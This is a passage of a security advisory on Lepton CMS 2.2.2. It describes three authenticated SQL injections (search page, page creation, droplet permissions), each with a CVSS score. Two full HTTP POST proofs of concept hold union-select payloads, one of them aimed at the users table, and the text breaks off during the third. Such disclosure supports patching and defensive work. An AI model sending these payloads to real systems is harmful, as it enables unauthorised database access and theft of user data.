2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to multiple SQL injections. The injections require a user account
with elevated privileges.

3. Details

SQL Injection: Search Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "terms" parameter of the page search is vulnerable to SQL
Injection. A user account with the right "Pages" is required to access this
feature.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken=
3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language:

Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 154 search_scope=title&terms=" union select

from lep_users -- -&search=Search

Blind or Error-based SQL Injection: Create Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "parent" parameter of the create page functionality is
vulnerable to SQL Injection. A user account with the right "Pages" is required
to access this feature. The injection is blind or error based in the case that
PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken=
dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language:

Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()&
visibility=public&submit=Add

Blind or Error-based SQL Injection: Add Droplet

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "Add_droplets" parameter of the droplet permission manager is
vulnerable to SQL injection. A user account with access to the Droplets
administration tool is required. The injection is blind or error based in the
case that PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets&
leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost
